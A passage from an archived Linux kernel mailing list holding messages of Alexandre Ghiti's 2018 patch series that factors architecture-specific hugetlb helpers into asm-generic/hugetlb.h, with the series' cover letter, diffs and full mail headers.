index 59d89b52ccb7..16b0c53ea6c9 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
 extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 #endif
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 996ce8e15365..554d5614b375 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index c697ca9dda18..ee010b756246 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 {
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
+#endif
 
-
+#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
+static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		pte_t *ptep, pte_t pte)
+{
+	set_pte_at(mm, addr, ptep, pte);
+}
 #endif
 
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 05/11] hugetlb: Introduce generic version of huge_ptep_clear_flush
Date: Wed,  4 Jul 2018 05:52:01 +0000
Lines: 157
Approved: news@gmane.org
Message-ID: <20180704055207.27978-6-alex@ghiti.fr>
References: <20180704055207.27978-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530683462 10119 195.159.176.226 (4 Jul 2018 05:51:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 05:51:02 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 04 07:50:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1faago-0002Sm-5E
	for glk-linux-kernel-4@m.gmane.org; Wed, 04 Jul 2018 07:50:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933574AbeGDFxC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 4 Jul 2018 01:53:02 -0400
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197]:50573 "EHLO
        relay5-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932204AbeGDFw7 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Jul 2018 01:52:59 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id E47581C0011;
        Wed,  4 Jul 2018 05:52:51 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180704055207.27978-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2811021 gmane.linux.ports.arm.kernel:660641 gmane.linux.ports.ia64:28873 gmane.linux.ports.mips.general:65226 gmane.linux.ports.parisc:28723 gmane.linux.ports.ppc64.devel:159599 gmane.linux.ports.sh.devel:57135 gmane.linux.ports.sparc:28050 gmane.linux.kernel.cross-arch:44968
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2811021>

arm, x86 architectures use the same version of
huge_ptep_clear_flush, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 1 +
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 1 +
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index ad36e84b819a..b897541520ef 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 6ae0bcafe162..4c8dd488554d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTE_CLEAR
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 6719c74da0de..41b5f6adeee4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 0959cc5a41fa..7df1f116a3cc 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 	return pte;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 6e281e1bb336..9afff26747a1 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index ec3e0c2e78f8..de0769f0b5b2 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 #endif
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 08ee6c00b5e9..9abf9c86b769 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 944e3a4bfaff..651a9593fcee 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 48b8d9b13cc6..8347d5abf882 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline int huge_pte_none(pte_t pte)
 {
 	return pte_none(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 0f6f151780dd..ffa63fd8388d 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_clear_flush(vma, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 00/11] hugetlb: Factorize architecture hugetlb primitives
Date: Wed,  4 Jul 2018 05:51:56 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <20180704055207.27978-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530683476 11387 195.159.176.226 (4 Jul 2018 05:51:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 05:51:16 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jul 04 07:51:09 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1faah2-0002k0-0J
	for linux-arm-kernel@m.gmane.org; Wed, 04 Jul 2018 07:51:08 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=xPF+Q2x4R4yqyYQUp4YajvBHQ9Dl6RaEZ/Ac8/VmljA=; b=CHl
	Mig1wBX4Y0SGvoLXFAyOnCGjMxRfL9YwS9SkumGDPgnjajrzUBWtsJwtLwTx4Rn6p58/x19G2JZbS
	hj9NYRNAAN/sUtbruRZc1KEIRSTZlhjPdufKaykTivIBh0HILF5dqOvuVtLfJsReyZmQ8FPWcLW8h
	LIO8lFQ6Wv/Oi9sYk4hnY19I8HpaDXcmyPiz0zr29wGOUxgMyrGICd5zIrlqAGwgCKm5K44ctG6ce
	wFYzEvMgsiWAeEMqryttyO9LnrubV3t8jxDYYdGpRM3h9jeW7V12DYFPY7EmW0g9DBEpTgapG8L3c
	3H9zy4Rp0gUbuzb07R66dI22/wtiJYA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1faaj4-0001hQ-Ey; Wed, 04 Jul 2018 05:53:14 +0000
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1faaih-0001Pk-C2
 for linux-arm-kernel@lists.infradead.org; Wed, 04 Jul 2018 05:52:53 +0000
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id 71B531C0002;
 Wed,  4 Jul 2018 05:52:22 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180703_225251_571847_BCEDEF57 
X-CRM114-Status: UNSURE (   7.41  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.183.197 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660642 gmane.linux.kernel:2811022 gmane.linux.ports.ia64:28874 gmane.linux.ports.mips.general:65227 gmane.linux.ports.parisc:28724 gmane.linux.ports.ppc64.devel:159600 gmane.linux.ports.sh.devel:57136 gmane.linux.ports.sparc:28051 gmane.linux.kernel.cross-arch:44969
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660642>

In order to reduce copy/paste of functions across architectures and then
make riscv hugetlb port simpler and smaller, this patchset intends to
factorize the numerous hugetlb primitives that are defined across all the
architectures.

Except for prepare_hugepage_range, this patchset moves the versions that
are just pass-through to standard pte primitives into
asm-generic/hugetlb.h by using the same #ifdef semantic that can be
found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.

s390 architecture has not been tackled in this serie since it does not
use asm-generic/hugetlb.h at all.
powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).

This patchset has been compiled on x86 only.

Alexandre Ghiti (11):
  hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
  hugetlb: Introduce generic version of hugetlb_free_pgd_range
  hugetlb: Introduce generic version of set_huge_pte_at
  hugetlb: Introduce generic version of huge_ptep_get_and_clear
  hugetlb: Introduce generic version of huge_ptep_clear_flush
  hugetlb: Introduce generic version of huge_pte_none
  hugetlb: Introduce generic version of huge_pte_wrprotect
  hugetlb: Introduce generic version of prepare_hugepage_range
  hugetlb: Introduce generic version of huge_ptep_set_wrprotect
  hugetlb: Introduce generic version of huge_ptep_set_access_flags
  hugetlb: Introduce generic version of huge_ptep_get

 arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
 arch/arm/include/asm/hugetlb.h               | 33 +----------
 arch/arm64/include/asm/hugetlb.h             | 39 +++---------
 arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
 arch/mips/include/asm/hugetlb.h              | 40 +++----------
 arch/parisc/include/asm/hugetlb.h            | 33 +++--------
 arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
 arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
 arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
 arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
 arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
 arch/sh/include/asm/hugetlb.h                | 54 ++---------------
 arch/sparc/include/asm/hugetlb.h             | 40 +++----------
 arch/x86/include/asm/hugetlb.h               | 72 +----------------------
 include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
 15 files changed, 143 insertions(+), 384 deletions(-)

-- 
2.16.2

From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 04/11] hugetlb: Introduce generic version of huge_ptep_get_and_clear
Date: Wed,  4 Jul 2018 05:52:00 +0000
Lines: 167
Approved: news@gmane.org
Message-ID: <20180704055207.27978-5-alex@ghiti.fr>
References: <20180704055207.27978-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530683479 11613 195.159.176.226 (4 Jul 2018 05:51:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 05:51:19 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 04 07:51:12 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1faah4-0002nk-Tr
	for glk-linux-kernel-4@m.gmane.org; Wed, 04 Jul 2018 07:51:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933626AbeGDFxT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 4 Jul 2018 01:53:19 -0400
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197]:58539 "EHLO
        relay5-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932978AbeGDFwx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Jul 2018 01:52:53 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id B2DAB1C0008;
        Wed,  4 Jul 2018 05:52:46 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180704055207.27978-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2811023 gmane.linux.ports.arm.kernel:660643 gmane.linux.ports.ia64:28875 gmane.linux.ports.mips.general:65228 gmane.linux.ports.parisc:28725 gmane.linux.ports.ppc64.devel:159601 gmane.linux.ports.sh.devel:57137 gmane.linux.ports.sparc:28052 gmane.linux.kernel.cross-arch:44970
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2811023>

arm, ia64, sh, x86 architectures use the
same version of huge_ptep_get_and_clear, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 13 insertions(+), 24 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 398fb06e8207..ad36e84b819a 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	ptep_set_wrprotect(mm, addr, ptep);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 874661a1dff1..6ae0bcafe162 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index a235d6f60fb3..6719c74da0de 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 8ea439041d5d..0959cc5a41fa 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 77c8adbac7c3..6e281e1bb336 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -8,6 +8,7 @@
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index ba7d5d8b543f..ec3e0c2e78f8 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,6 +132,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index bc552e37c1c9..08ee6c00b5e9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
